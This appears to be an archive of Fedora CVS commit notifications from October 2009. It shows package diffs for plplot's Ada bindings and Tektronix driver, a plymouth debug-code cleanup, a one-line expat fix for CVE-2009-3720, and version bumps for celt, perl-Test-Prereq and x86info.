     Date_Time_XY_Linear_Major_Grid : constant Axis_Style_Type := 62;
     Date_Time_XY_Linear_Minor_Grid : constant Axis_Style_Type := 63;
+    
+    Custom_Labels_Linear_Box_Plus   : constant Axis_Style_Type := 70;
+    Custom_Labels_Linear_Zero_Axes  : constant Axis_Style_Type := 71;
+    Custom_Labels_Linear_Major_Grid : constant Axis_Style_Type := 72;
+    Custom_Labels_Linear_Minor_Grid : constant Axis_Style_Type := 73;
 
     -- Integer constrained to 0..255
     subtype Integer_0_255_Type is Integer range 0 .. 255;
@@ -258,6 +276,10 @@
     Grid_Nearest_Neighbors_Linear_Interpolation             : constant Gridding_Algorithm_Type := 5; -- GRID_NNLI
     Grid_Nearest_Neighbors_Around_Inverse_Distance_Weighted : constant Gridding_Algorithm_Type := 6; -- GRID_NNAIDW
 
+    -- Axis label tags
+    x_axis : constant Integer := 1; -- The x-axis
+    y_axis : constant Integer := 2; -- The y-axis
+    z_axis : constant Integer := 3; -- The z-axis
 
 --------------------------------------------------------------------------------
 -- Constants copied from PLplot_Thin.ads so that it doesn't have to be seen.  --
@@ -295,6 +317,18 @@
     GRID_NNIDW  : constant Gridding_Algorithm_Type := 4;
     GRID_NNLI   : constant Gridding_Algorithm_Type := 5;
     GRID_NNAIDW : constant Gridding_Algorithm_Type := 6;
+
+    -- Axis label tags
+    -- "PLplot style" names
+    -- This version for custom labels in plslabelfunc. Compare with e.g. "x_axis" above.
+    PL_X_AXIS : constant Integer := 1; -- The x-axis
+    PL_Y_AXIS : constant Integer := 2; -- The y-axis
+    PL_Z_AXIS : constant Integer := 3; -- The z-axis
+    -- "Ada style" names
+    Label_X_Axis : constant Integer := 1; -- The x-axis
+    Label_Y_Axis : constant Integer := 2; -- The y-axis
+    Label_Z_Axis : constant Integer := 3; -- The z-axis
+
 --------------------------------------------------------------------------------
 
 
@@ -1598,6 +1632,18 @@
     --         PLPointer pltr_data);
     --
 
+
+    -- Setup a user-provided custom labeling function.
+    -- plslabelfunc
+    procedure Set_Custom_Label
+       (Custom_Label_Procedure_Pointer : Custom_Label_Procedure_Pointer_Type;
+        label_data : PLPointer);
+    
+    
+    -- Reset to default labeling. Not part of the C API.
+    procedure Use_Default_Labels;
+
+
     -- Set up lengths of major tick marks.
     -- plsmaj
     procedure Set_Major_Tick_Length(Default_Length, Scale_Factor : Long_Float);
@@ -1693,7 +1739,7 @@
         Box_Color, Legend_Color              : Plot_Color_Type;
         Pen_Colors                           : Integer_Array_1D;
         Line_Styles                          : Integer_Array_1D;
[...233364 lines suppressed...]
 void
-plD_tidy_tek(void)
+plD_tidy_tek( void )
 {
     tek_text();
 }
 
 /*--------------------------------------------------------------------------*\
  * tek_text()
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
-static void 
-tek_text(void)
+static void
+tek_text( void )
 {
-    printf("\033[?38l");	/* vt100 screen */
+    printf( "\033[?38l" );        /* vt100 screen */
 }
 
 /*--------------------------------------------------------------------------*\
  * tek_graph()
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
-static void 
-tek_graph(void)
+static void
+tek_graph( void )
 {
-    printf("\033[?38h");	/* switch to tek screen */
+    printf( "\033[?38h" );        /* switch to tek screen */
 }
 
 /*--------------------------------------------------------------------------*\
@@ -178,32 +178,35 @@
  * Encodes a single int into standard tek integer format, storing into a
  * NULL-terminated character string (must be length 4 or greater).  This
  * scheme does not work for negative integers less than 15.
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
 static void
-encode_int(char *c, int i)
+encode_int( char *c, int i )
 {
     int negative = 0;
 
-    if (i > 0) {
-	if (i & 0x7C00)				/* are any of bits 10-14 set?*/
-	    *c++ = ((i >> 10) & 0x1F) | 0x40;
-	if (i & 0x03F0)				/* are any of bits 4-9 set? */
-	    *c++ = ((i >> 4) & 0x3F) | 0x40;
-    } else {
-	i = -i;
-	negative = 1;
+    if ( i > 0 )
+    {
+        if ( i & 0x7C00 )                       /* are any of bits 10-14 set?*/
+            *c++ = (( i >> 10 ) & 0x1F ) | 0x40;
+        if ( i & 0x03F0 )                       /* are any of bits 4-9 set? */
+            *c++ = (( i >> 4 ) & 0x3F ) | 0x40;
     }
+    else
+    {
+        i        = -i;
+        negative = 1;
+    }
+
+    if ( i & 0x000F )                           /* are any of bits 0-3 set? */
+        *c = ( i & 0x0F ) | 0x20;
+    else                                        /* if not, put in a space */
+        *c = 0x20;
 
-    if (i & 0x000F)				/* are any of bits 0-3 set? */
-	*c = (i & 0x0F) | 0x20;
-    else					/* if not, put in a space */
-	*c = 0x20;
-	
-    if ( ! negative)				/* if positive, set sign bit */
-	*c |= 0x10;
+    if ( !negative )                            /* if positive, set sign bit */
+        *c |= 0x10;
 
-    c++; *c = '\0';				/* NULL-terminate */
+    c++; *c = '\0';                             /* NULL-terminate */
     return;
 }
 
@@ -213,16 +216,16 @@
  * Encodes an xy vector (2 ints) into standard tek vector format, storing
  * into a NULL-terminated character string of length 5.  Note that the y
  * coordinate always comes first.
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
 static void
-encode_vector(char *c, int x, int y)
+encode_vector( char *c, int x, int y )
 {
-    c[0] = (y >> 5)   + 0x20;		/* hy */
-    c[1] = (y & 0x1f) + 0x60;		/* ly */
-    c[2] = (x >> 5)   + 0x20;		/* hx */
-    c[3] = (x & 0x1f) + 0x40;		/* lx */
-    c[4] = '\0';			/* NULL */
+    c[0] = ( y >> 5 ) + 0x20;             /* hy */
+    c[1] = ( y & 0x1f ) + 0x60;           /* ly */
+    c[2] = ( x >> 5 ) + 0x20;             /* hx */
+    c[3] = ( x & 0x1f ) + 0x40;           /* lx */
+    c[4] = '\0';                          /* NULL */
 }
 
 /*--------------------------------------------------------------------------*\
@@ -230,17 +233,17 @@
  *
  * Issues a vector draw command, assuming we are in vector plot mode.  XY
  * coordinates are encoded according to the standard xy encoding scheme.
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
 static void
-tek_vector(int x, int y)
+tek_vector( int x, int y )
 {
     char c[5];
-    c[0] = (y >> 5)   + 0x20;		/* hy */
-    c[1] = (y & 0x1f) + 0x60;		/* ly */
-    c[2] = (x >> 5)   + 0x20;		/* hx */
-    c[3] = (x & 0x1f) + 0x40;		/* lx */
-    c[4] = '\0';			/* NULL */
+    c[0] = ( y >> 5 ) + 0x20;             /* hy */
+    c[1] = ( y & 0x1f ) + 0x60;           /* ly */
+    c[2] = ( x >> 5 ) + 0x20;             /* hx */
+    c[3] = ( x & 0x1f ) + 0x40;           /* lx */
+    c[4] = '\0';                          /* NULL */
 
     fprintf( stdout, "%s", c );
 }
@@ -250,16 +253,16 @@
  *
  * This routine waits for the user to advance the plot, while handling
  * all other events.
-\*--------------------------------------------------------------------------*/
+ \*--------------------------------------------------------------------------*/
 
 static void
-WaitForPage(void)
+WaitForPage( void )
 {
-    printf(ALPHA_MODE);		/* Switch to alpha mode (necessary) */
-    printf(RING_BELL);		/* and ring bell */
-    printf(VECTOR_MODE);	/* Switch out of alpha mode */
-    fflush(stdout);
+    printf( ALPHA_MODE );         /* Switch to alpha mode (necessary) */
+    printf( RING_BELL );          /* and ring bell */
+    printf( VECTOR_MODE );        /* Switch out of alpha mode */
+    fflush( stdout );
 
-    while ( ! getchar() )
-	;
+    while ( !getchar())
+        ;
 }
diff -ru --unidirectional-new-file --exclude=.svn plplot-5.9.5/utils/xform.c plplot/utils/xform.c
--- plplot-5.9.5/utils/xform.c	2009-09-06 13:04:43.000000000 -0600
+++ plplot/utils/xform.c	2009-10-28 12:37:17.282841563 -0600
@@ -1,14 +1,14 @@
-/* $Id: xform.c 4103 2002-12-03 08:39:28Z airwin $
-
-	Example linear transformation function for contour plotter.
-*/
+/* $Id: xform.c 10544 2009-10-21 22:52:04Z airwin $
+ *
+ *      Example linear transformation function for contour plotter.
+ */
 
 #include "plplotP.h"
 
 extern PLFLT tr[];
 
-void 
-xform(PLFLT x, PLFLT y, PLFLT * tx, PLFLT * ty)
+void
+xform( PLFLT x, PLFLT y, PLFLT * tx, PLFLT * ty )
 {
     *tx = tr[0] * x + tr[1] * y + tr[2];
     *ty = tr[3] * x + tr[4] * y + tr[5];
diff -ru --unidirectional-new-file --exclude=.svn plplot-5.9.5/www/examples.php plplot/www/examples.php
--- plplot-5.9.5/www/examples.php	2009-09-06 13:04:42.000000000 -0600
+++ plplot/www/examples.php	2009-10-28 12:36:52.075841315 -0600
@@ -204,7 +204,7 @@
 		echo <<<END
 			<h3>Examples</h3>
 			<p>These examples were generated with the pngcairo device and
-				 reflect the status of PLplot-5.9.4.</p>
+				 reflect the status of PLplot-5.9.5.</p>
 			<p>Select a thumbnail to view full-size image and source code.</p>
 			<p>
 END;


Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/devel/plplot.spec,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- plplot.spec	26 Oct 2009 17:55:14 -0000	1.91
+++ plplot.spec	30 Oct 2009 16:00:13 -0000	1.92
@@ -10,13 +10,15 @@
 
 Name:           plplot
 Version:        5.9.5
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Library of functions for making scientific plots
 
 Group:          Applications/Engineering
 License:        LGPLv2+
 URL:            http://plplot.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/plplot/%{name}-%{version}.tar.gz
+#Update to latest svn for F95_MOD_DIR and wxWidget patches
+Patch0:         plplot-5.9.3-svn10561.patch
 Patch1:         plplot-5.9.3-multiarch.patch
 Patch2:         plplot-5.9.2-info.patch
 Patch3:         plplot-5.9.4-octave32.patch
@@ -299,6 +301,7 @@ Requires:       pkgconfig
 
 %prep
 %setup -q
+%patch0 -p1 -b .svn
 %patch1 -p1 -b .multiarch
 %patch2 -p1 -b .info
 #%patch3 -p1 -b .octave32
@@ -326,6 +329,7 @@ printenv
 %cmake .. \
         -DCMAKE_SKIP_RPATH:BOOL=OFF \
         -DCMAKE_Fortran_COMPILER:FILEPATH=%{_bindir}/gfortran \
+        -DF95_MOD_DIR:PATH=%{_fmoddir} \
         -DUSE_RPATH:BOOL=OFF \
         -DENABLE_ada:BOOL=ON \
         -DHAVE_ADA_2007:BOOL=ON \
@@ -386,11 +390,6 @@ done
 
 rm -rf $RPM_BUILD_ROOT%{_datadir}/plplot%{version}/examples/cmake/modules/Platform
 
-#Move fortran modules to proper location
-mkdir -p $RPM_BUILD_ROOT%{_fmoddir}
-mv $RPM_BUILD_ROOT%{_libdir}/fortran/modules/plplot/*.mod %{_fmoddir}
-rm -rf $RPM_BUILD_ROOT%{_libdir}/fortran
-
 
 %check
 cd fedora
@@ -675,6 +674,9 @@ fi
 
 
 %changelog
+* Fri Oct 30 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-4
+- Update to svn 10561 to fix build issues
+
 * Mon Oct 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-3
 - Create fortran-devel sub-package with fortran development files (bug #523543)
 



From rstrode at fedoraproject.org  Fri Oct 30 16:01:43 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri, 30 Oct 2009 16:01:43 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-hvc0-console.patch, 1.1, 1.2 plymouth.spec, 
	1.163, 1.164
Message-ID: <20091030160143.81EA311C0371@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2220

Modified Files:
	fix-hvc0-console.patch plymouth.spec 
Log Message:
- Drop debug spew that snuck in


fix-hvc0-console.patch:
 b/src/libplybootsplash/ply-console.c |    8 ++++++--
 b/src/main.c                         |    4 ----
 src/main.c                           |   15 +++++++++------
 3 files changed, 15 insertions(+), 12 deletions(-)

Index: fix-hvc0-console.patch
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/fix-hvc0-console.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fix-hvc0-console.patch	29 Oct 2009 22:00:23 -0000	1.1
+++ fix-hvc0-console.patch	30 Oct 2009 16:01:42 -0000	1.2
@@ -124,42 +124,3 @@ index 548e1f7..daef780 100644
  
    if (state->kernel_console_tty != NULL)
      redirect_standard_io_to_device (state->kernel_console_tty);
-@@ -1417,15 +1420,27 @@ dump_debug_buffer_to_file (void)
-   close (fd);
- }
- 
-+ #include <termios.h>
-+ #include <unistd.h>
- static void
- on_crash (int signum)
- {
-+    struct termios term_attributes;
-     int fd;
- 
-     fd = open ("/dev/tty1", O_RDWR | O_NOCTTY);
-+    if (fd < 0) fd = open ("/dev/hvc0", O_RDWR | O_NOCTTY);
- 
-     ioctl (fd, KDSETMODE, KD_TEXT);
- 
-+    tcgetattr (fd, &term_attributes);
-+
-+    term_attributes.c_iflag |= IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON;
-+    term_attributes.c_oflag |= OPOST;
-+    term_attributes.c_lflag |= ECHO | ECHONL | ICANON | ISIG | IEXTEN;
-+
-+    tcsetattr (fd, TCSAFLUSH, &term_attributes);
-+
-     close (fd);
- 
-     if (debug_buffer != NULL)
-@@ -1500,6 +1515,7 @@ main (int    argc,
-       return 0;
-     }
- 
-+  debug = 1;
-   if (debug && !ply_is_tracing ())
-     ply_toggle_tracing ();
- 
--- 
-1.6.5.1
-


Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.163
retrieving revision 1.164
diff -u -p -r1.163 -r1.164
--- plymouth.spec	29 Oct 2009 22:00:23 -0000	1.163
+++ plymouth.spec	30 Oct 2009 16:01:42 -0000	1.164
@@ -6,7 +6,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.15%{?dist}
+Release: 0.2009.29.09.16%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -475,6 +475,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Fri Oct 30 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.16
+- Drop debug spew that snuck in
+
 * Thu Oct 29 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.15
 - Fix plymouth over ppc hyperviser console (bug 531581)
 



From pbrobinson at fedoraproject.org  Fri Oct 30 16:02:09 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Fri, 30 Oct 2009 16:02:09 +0000 (UTC)
Subject: rpms/celt/devel .cvsignore, 1.4, 1.5 celt.spec, 1.5, 1.6 sources,
	1.4, 1.5
Message-ID: <20091030160209.5D08E11C0371@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/celt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2427

Modified Files:
	.cvsignore celt.spec sources 
Log Message:
- New 0.7.0 upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/celt/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	6 Jul 2009 10:17:21 -0000	1.4
+++ .cvsignore	30 Oct 2009 16:02:08 -0000	1.5
@@ -1 +1 @@
-celt-0.6.0.tar.gz
+celt-0.7.0.tar.gz


Index: celt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/celt/devel/celt.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- celt.spec	24 Jul 2009 18:47:17 -0000	1.5
+++ celt.spec	30 Oct 2009 16:02:08 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           celt
-Version:        0.6.0
-Release:        2%{?dist}
+Version:        0.7.0
+Release:        1%{?dist}
 Summary:        An audio codec for use in low-delay speech and audio communication
 
 Group:          System Environment/Libraries
@@ -67,6 +67,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libcelt.so
 
 %changelog
+* Fri Oct 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.7.0-1
+- New 0.7.0 upstream release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/celt/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	6 Jul 2009 10:17:21 -0000	1.4
+++ sources	30 Oct 2009 16:02:08 -0000	1.5
@@ -1 +1 @@
-6118c5ea0bb932b2934a2780550c2710  celt-0.6.0.tar.gz
+0bb72abec367f4ef12551f79dda11b23  celt-0.7.0.tar.gz



From jorton at fedoraproject.org  Fri Oct 30 16:03:03 2009
From: jorton at fedoraproject.org (jorton)
Date: Fri, 30 Oct 2009 16:03:03 +0000 (UTC)
Subject: rpms/expat/F-11 expat-1.95.8-CVE-2009-3720.patch, NONE,
	1.1 expat.spec, 1.32, 1.33
Message-ID: <20091030160303.156EB11C00EA@cvs1.fedora.phx.redhat.com>

Author: jorton

Update of /cvs/extras/rpms/expat/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2876

Modified Files:
	expat.spec 
Added Files:
	expat-1.95.8-CVE-2009-3720.patch 
Log Message:
* Fri Oct 30 2009 Joe Orton <jorton at redhat.com> - 2.0.1-6.1
- add security fix for CVE-2009-3720


expat-1.95.8-CVE-2009-3720.patch:
 xmltok_impl.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE expat-1.95.8-CVE-2009-3720.patch ---
--- expat-1.95.8/lib/xmltok_impl.c.cve3720
+++ expat-1.95.8/lib/xmltok_impl.c
@@ -1741,7 +1741,7 @@ PREFIX(updatePosition)(const ENCODING *e
                        const char *end,
                        POSITION *pos)
 {
-  while (ptr != end) {
+  while (ptr < end) {
     switch (BYTE_TYPE(enc, ptr)) {
 #define LEAD_CASE(n) \
     case BT_LEAD ## n: \


Index: expat.spec
===================================================================
RCS file: /cvs/extras/rpms/expat/F-11/expat.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- expat.spec	24 Feb 2009 15:54:27 -0000	1.32
+++ expat.spec	30 Oct 2009 16:03:02 -0000	1.33
@@ -1,9 +1,10 @@
 Summary: An XML parser library
 Name: expat
 Version: 2.0.1
-Release: 6
+Release: 6%{?dist}.1
 Group: System Environment/Libraries
 Source: http://download.sourceforge.net/expat/expat-%{version}.tar.gz
+Patch1: expat-1.95.8-CVE-2009-3720.patch
 URL: http://www.libexpat.org/
 License: MIT
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -28,6 +29,7 @@ to develop XML applications with expat.
 
 %prep
 %setup -q
+%patch1 -p1 -b .cve3720
 
 %build
 rm -rf autom4te*.cache
@@ -74,6 +76,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_includedir}/*.h
 
 %changelog
+* Fri Oct 30 2009 Joe Orton <jorton at redhat.com> - 2.0.1-6.1
+- add security fix for CVE-2009-3720
+
 * Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.1-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From kasal at fedoraproject.org  Fri Oct 30 16:04:30 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 16:04:30 +0000 (UTC)
Subject: rpms/perl-Test-Prereq/F-12 .cvsignore, 1.7,
	1.8 perl-Test-Prereq.spec, 1.10, 1.11 sources, 1.7, 1.8
Message-ID: <20091030160430.0B9AD11C00EA@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Prereq/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3726

Modified Files:
	.cvsignore perl-Test-Prereq.spec sources 
Log Message:
sync with rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	23 Jan 2009 01:21:02 -0000	1.7
+++ .cvsignore	30 Oct 2009 16:04:29 -0000	1.8
@@ -1 +1 @@
-Test-Prereq-1.036.tar.gz
+Test-Prereq-1.037.tar.gz


Index: perl-Test-Prereq.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/F-12/perl-Test-Prereq.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-Test-Prereq.spec	26 Jul 2009 16:56:16 -0000	1.10
+++ perl-Test-Prereq.spec	30 Oct 2009 16:04:29 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           perl-Test-Prereq
-Version:        1.036
-Release:        3%{?dist}
+Version:        1.037
+Release:        1%{?dist}
 Summary:        Check if Makefile.PL has the right pre-requisites
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -11,12 +11,12 @@ BuildArch:      noarch
 BuildRequires:  perl(Module::Build)
 BuildRequires:  perl(Module::CoreList)
 BuildRequires:  perl(Module::Info)
-%{?_with_check:BuildRequires:  perl(CPAN)}
-%{?_with_check:BuildRequires:  perl(Test::Builder)}
-%{?_with_check:BuildRequires:  perl(Test::Builder::Tester)}
-%{?_with_check:BuildRequires:  perl(Test::More)}
-%{?_with_check:BuildRequires:  perl(Test::Pod)}
-%{?_with_check:BuildRequires:  perl(Test::Pod::Coverage)}
+BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Builder)
+BuildRequires:  perl(Test::Builder::Tester)
+BuildRequires:  perl(Test::More)
+BuildRequires:  perl(Test::Pod)
+BuildRequires:  perl(Test::Pod::Coverage)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -39,12 +39,12 @@ rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} \;
 
 %{_fixperms} $RPM_BUILD_ROOT/*
 
 %check
-%{?_with_check:make test}
+make test
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -56,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Fri Oct 30 2009 Stepan Kasal <skasal at redhat.com> - 1.037-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.036-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	23 Jan 2009 01:21:02 -0000	1.7
+++ sources	30 Oct 2009 16:04:29 -0000	1.8
@@ -1 +1 @@
-1c5caafa0f80e2b99ec52c4957941029  Test-Prereq-1.036.tar.gz
+d38be5a57b38cf500a7c2a212fb697e9  Test-Prereq-1.037.tar.gz



From orion at fedoraproject.org  Fri Oct 30 16:04:56 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Fri, 30 Oct 2009 16:04:56 +0000 (UTC)
Subject: rpms/plplot/devel plplot.spec,1.92,1.93
Message-ID: <20091030160456.5D9E311C00EA@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/plplot/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3920

Modified Files:
	plplot.spec 
Log Message:
Fix patch name



Index: plplot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plplot/devel/plplot.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- plplot.spec	30 Oct 2009 16:00:13 -0000	1.92
+++ plplot.spec	30 Oct 2009 16:04:55 -0000	1.93
@@ -18,7 +18,7 @@ License:        LGPLv2+
 URL:            http://plplot.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/plplot/%{name}-%{version}.tar.gz
 #Update to latest svn for F95_MOD_DIR and wxWidget patches
-Patch0:         plplot-5.9.3-svn10561.patch
+Patch0:         plplot-5.9.5-svn10561.patch
 Patch1:         plplot-5.9.3-multiarch.patch
 Patch2:         plplot-5.9.2-info.patch
 Patch3:         plplot-5.9.4-octave32.patch



From davej at fedoraproject.org  Fri Oct 30 16:05:01 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Fri, 30 Oct 2009 16:05:01 +0000 (UTC)
Subject: rpms/x86info/devel .cvsignore, 1.17, 1.18 sources, 1.15,
	1.16 x86info.spec, 1.43, 1.44
Message-ID: <20091030160501.9F4AD11C00EA@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/x86info/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4080

Modified Files:
	.cvsignore sources x86info.spec 
Log Message:
Update to new upstream 1.25


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	6 Feb 2009 17:18:50 -0000	1.17
+++ .cvsignore	30 Oct 2009 16:05:00 -0000	1.18
@@ -1,3 +1,3 @@
 clog
-x86info-1.24
-x86info-1.24.tgz
+x86info-1.25
+x86info-1.25.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	6 Feb 2009 17:18:50 -0000	1.15
+++ sources	30 Oct 2009 16:05:01 -0000	1.16
@@ -1 +1 @@
-f4476fb55918cf3b20312f858af44334  x86info-1.24.tgz
+29143559c611272ec2045361a6ffd813  x86info-1.25.tgz


Index: x86info.spec
===================================================================
RCS file: /cvs/pkgs/rpms/x86info/devel/x86info.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- x86info.spec	27 Jul 2009 07:32:59 -0000	1.43
+++ x86info.spec	30 Oct 2009 16:05:01 -0000	1.44
@@ -1,7 +1,7 @@
 Summary:        x86 processor information tool.
 Name:           x86info
-Version:        1.24
-Release:        %(R="$Revision$"; RR="${R##: }"; echo ${RR%%?})%{?dist}.1
+Version:        1.25
+Release:        %(R="$Revision$"; RR="${R##: }"; echo ${RR%%?})%{?dist}
 Epoch:          1
 Group:          System Environment/Base
 License:        GPLv2+
@@ -47,6 +47,9 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/*/*
 
 %changelog
+* Fri Oct 30 2009 Dave Jones <davej at redhat.com>
+- Update to new upstream 1.25
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.24-1.42.1
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kasal at fedoraproject.org  Fri Oct 30 16:05:11 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri, 30 Oct 2009 16:05:11 +0000 (UTC)
Subject: rpms/perl-Test-Prereq/devel .cvsignore, 1.7,
	1.8 perl-Test-Prereq.spec, 1.10, 1.11 sources, 1.7, 1.8
Message-ID: <20091030160511.1614411C00EA@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Test-Prereq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4172

Modified Files:
	.cvsignore perl-Test-Prereq.spec sources 
Log Message:
- new upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	23 Jan 2009 01:21:02 -0000	1.7
+++ .cvsignore	30 Oct 2009 16:05:09 -0000	1.8
@@ -1 +1 @@
-Test-Prereq-1.036.tar.gz
+Test-Prereq-1.037.tar.gz


Index: perl-Test-Prereq.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Test-Prereq/devel/perl-Test-Prereq.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-Test-Prereq.spec	26 Jul 2009 16:56:16 -0000	1.10
+++ perl-Test-Prereq.spec	30 Oct 2009 16:05:10 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           perl-Test-Prereq
-Version:        1.036
-Release:        3%{?dist}
+Version:        1.037
+Release:        1%{?dist}
 Summary:        Check if Makefile.PL has the right pre-requisites
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -11,12 +11,12 @@ BuildArch:      noarch
 BuildRequires:  perl(Module::Build)
 BuildRequires:  perl(Module::CoreList)
 BuildRequires:  perl(Module::Info)
-%{?_with_check:BuildRequires:  perl(CPAN)}
-%{?_with_check:BuildRequires:  perl(Test::Builder)}
-%{?_with_check:BuildRequires:  perl(Test::Builder::Tester)}
-%{?_with_check:BuildRequires:  perl(Test::More)}
-%{?_with_check:BuildRequires:  perl(Test::Pod)}
-%{?_with_check:BuildRequires:  perl(Test::Pod::Coverage)}
+BuildRequires:  perl(CPAN)
+BuildRequires:  perl(Test::Builder)
+BuildRequires:  perl(Test::Builder::Tester)
